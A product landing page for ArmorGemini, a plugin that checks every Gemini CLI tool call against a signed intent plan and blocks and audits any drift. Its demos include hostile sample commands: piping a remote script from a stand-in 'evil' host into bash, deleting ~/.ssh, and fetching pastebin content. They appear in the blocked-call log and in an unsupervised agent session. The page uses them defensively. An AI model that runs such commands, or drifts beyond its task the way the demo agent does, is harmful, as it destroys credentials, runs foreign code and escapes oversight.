// GEMINI_CLI · PLUGIN

ArmorGemini

Intent-based security enforcement for Gemini CLI.

Every tool call Gemini makes is verified against a signed intent plan before it runs. No surprises. No silent drift. Full audit trail.

View on GitHub

// one-line install$ curl -fsSL https://armoriq.ai/install_armorgemini.sh | bash

14:23:41BLOCKEDBash · curl evil.com/exfil.sh14:23:38ALLOWEDRead · auth/middleware.ts14:23:35ALLOWEDEdit · auth/middleware.ts14:23:30BLOCKEDWebFetch · pastebin.com/raw/abc14:23:24ALLOWEDBash:test · npm run test:auth14:23:18DENIEDintent drift · token expired14:23:11ALLOWEDRead · package.json14:23:04BLOCKEDBash · rm -rf ~/.ssh14:23:41BLOCKEDBash · curl evil.com/exfil.sh14:23:38ALLOWEDRead · auth/middleware.ts14:23:35ALLOWEDEdit · auth/middleware.ts14:23:30BLOCKEDWebFetch · pastebin.com/raw/abc14:23:24ALLOWEDBash:test · npm run test:auth14:23:18DENIEDintent drift · token expired14:23:11ALLOWEDRead · package.json14:23:04BLOCKEDBash · rm -rf ~/.ssh

// THE_RISK

Gemini acts before you can review

Gemini CLI is powerful. That's the problem. In a single turn it can read your configs, write to your filesystem, call external APIs, and run shell commands, all without your team knowing why.

Traditional security tools check who accessed what. They cannot verify why. ArmorGemini closes that gap by binding every tool call to a declared, cryptographically signed intent plan.

Same prompt. No supervision. Quiet drift.

$ gemini
> "Refactor the auth middleware to use cookies"
OK read_file auth/middleware.ts
OK write_file auth/middleware.ts
OK fetch https://pastebin.com/raw/abc123
OK run_shell curl -sSL evil.sh | bash
OK run_shell rm -rf ~/.ssh
# session ends · no audit · no trail

Toggle cycles every 6s. Hover to hold.

// THE_SOLUTION

Gemini proposes. ArmorGemini approves.

ArmorGemini binds every tool call to a signed intent plan.

Before Gemini runs a tool, ArmorGemini makes Gemini declare what it intends to do. Every tool call is checked against that declaration. Drift gets denied. The receipt writes itself.

// HOW_IT_WORKS

01// DECLARE

Session initialized

At SessionStart, ArmorGemini shows enforcement status and asks Gemini to declare a plan before any tool runs. Plan is signed with a TTL.

02// VERIFY

Every tool checked

At BeforeTool, ArmorGemini verifies the tool is in the plan, checks token TTL, and calls the ArmorIQ backend's /iap/verify-step for a signed allow / deny verdict.

03// AUDIT

Audit log emitted

At AfterTool, every tool result is logged to ArmorIQ IAP. With an API key, logs carry signed JWT tokens and optional Merkle proofs.

// FOUR_BLOCKSwhat gets stopped

01
Intent drift blocked
Tool calls not in the declared plan are denied before they run.
// BeforeToolBLOCKED
02
Token-scoped execution
Every session gets a signed intent token with a configurable TTL.
// BeforeTool · tokenEXPIRED to BLOCKED
03
PCI / PHI / PII detection
Automatic data-class detection in tool parameters at the hook layer.
// BeforeTool · argsPII MATCH to BLOCKED
04
Fail-closed security
No intent token, expired token, or planning failure means all tools are blocked.
// any hookFAIL-CLOSED

600s

Intent TTLconfigurable, default

Lifecycle hooksgemini cli

5 min

Time to installone-line curl

// INSTALL

Up and running in 5 minutes

// one-line installInstall with one command

install_armorgemini.sh// step 02

// alternativeOr install manually by cloning and merging the hook block:

git clone https://github.com/armoriq/armorGemini ~/.armoriq/armorGemini
bash ~/.armoriq/armorGemini/install.sh

// step 01
Check requirements
You need Gemini CLI and Node.js 20+. An ArmorIQ API key is required so the backend can issue signed intent tokens.
```
gemini --version   # any recent release
node --version    # need v20+
```
// step 03
Login to ArmorIQ
Runs the OAuth device-code flow, opens your browser, and saves the API key to ~/.armoriq/credentials.json.
```
armoriq login --product armorgemini
```

// step 04

Verify the hooks are wired

gemini
# ArmorGemini active (ENFORCING, intent=required)

> /armor:list
# shows the current ArmorIQ policy for this workspace

// DEEP_DIVE

Configuration, environment & policy reference

Click any row to expand. Every setting, command, and hook is documented here.

Four Gemini CLI lifecycle hooks. Zero changes to your workflow.

SessionStart01

Session initialized

Prints active mode (ENFORCING / MONITOR) in context. Sets up session state, resolves the API key, and asks Gemini to register a plan before any tool runs.

BeforeTool02

Every tool checked

Verifies the tool is in the plan, checks token TTL, evaluates policy rules by calling POST /iap/verify-step, and returns a decision:allow / decision:deny verdict.

AfterTool03

Audit log emitted

Every tool result is logged via POST /iap/audit. With an API key, logs carry signed JWT tokens and optional Merkle proofs.

SessionEnd04

Session finalized

Flushes any pending audit records, closes the session, and prunes state older than 24 hours.

// EXECUTION_FLOW · 4 hooks · 3 phasesread top to bottom

Settings are applied through environment variables or the tool-specific configuration shown below.

Gemini settings.json hook block// Merged into ~/.gemini/settings.json by the installer

Key	Default	Description
`SessionStart`	`matcher: *`	hook-router.mjs session-start (init, plan prompt)
`BeforeTool`	`matcher: *`	hook-router.mjs before-tool (intent + policy verify)
`AfterTool`	`matcher: *`	hook-router.mjs after-tool (audit log)
`SessionEnd`	`matcher: *`	hook-router.mjs session-end (flush + prune)

Environment variables// Set in your shell or .env file

Key	Default	Description
`ARMORGEMINI_MODE`	`enforce`	enforce blocks failures, monitor logs only
`ARMORGEMINI_INTENT_REQUIRED`	`true`	Block tool calls that have no intent token
`ARMORIQ_API_KEY`	`none`	ArmorIQ SDK API key for backend audit and CSRG
`ARMORGEMINI_VALIDITY_SECONDS`	`600`	Intent token TTL in seconds
`ARMORGEMINI_DEBUG`	`false`	Enable verbose debug logging to stderr
`ARMORGEMINI_DATA_DIR`	`~/.gemini/armorgemini`	Runtime data and policy storage
`ARMORGEMINI_AUDIT_ENABLED`	`true*`	Send audit logs to ArmorIQ IAP (* when API key set)
`ARMORGEMINI_CSRG_VERIFY_ENABLED`	`false`	Enable Merkle tree policy binding

Enforce mode// Recommended for production

Blocks any tool call that fails a policy or intent check. Hard deny, no fallthrough.

// shell

ARMORGEMINI_MODE=enforce gemini

Monitor mode// Good for onboarding

Logs all violations but never blocks. Use while tuning policies before going live.

// shell

ARMORGEMINI_MODE=monitor gemini

Inline policy commands

Type directly into the Gemini chat prompt.

/armor:listShow the current ArmorIQ policy for this workspace
/armor:add deny fetchStage a policy rule change
/armor:template lockdownStage a named ArmorIQ policy template
/armor:helpShow ArmorGemini /armor command help

See it in action

What happens when you run Gemini with ArmorGemini active.

// session start

$ gemini
# ArmorGemini active (ENFORCING, intent=required)

// allowed

# register_intent_plan({ steps: ["read_file README.md"] })
OK  ArmorGemini: tool in plan (read_file)

// blocked

X   ArmorGemini intent drift: tool not in plan (run_shell)

Plugin lifecycle

// management

# hooks are declared in ~/.gemini/settings.json
# to disable temporarily, comment out the hooks block
# to uninstall, remove the hooks block + ~/.gemini/commands/armor/

GEMINI_CLI · PLUGIN

Ready to enforce intent in your Gemini CLI sessions?

Live Intent Assurance↗

Connect to ArmorIQ to get signed tokens, audit logs, and cryptographic proofs for every agent action.

Connect to ArmorIQ View on GitHub

ArmorGemini

Gemini acts before you can review

Gemini proposes. ArmorGemini approves.

Session initialized

Every tool checked

Audit log emitted

Intent drift blocked

Token-scoped execution

PCI / PHI / PII detection

Fail-closed security

Up and running in 5 minutes

Check requirements

Login to ArmorIQ

Verify the hooks are wired

Configuration, environment & policy reference

Session initialized

Every tool checked

Audit log emitted

Session finalized

Ready to enforce intent in your Gemini CLI sessions?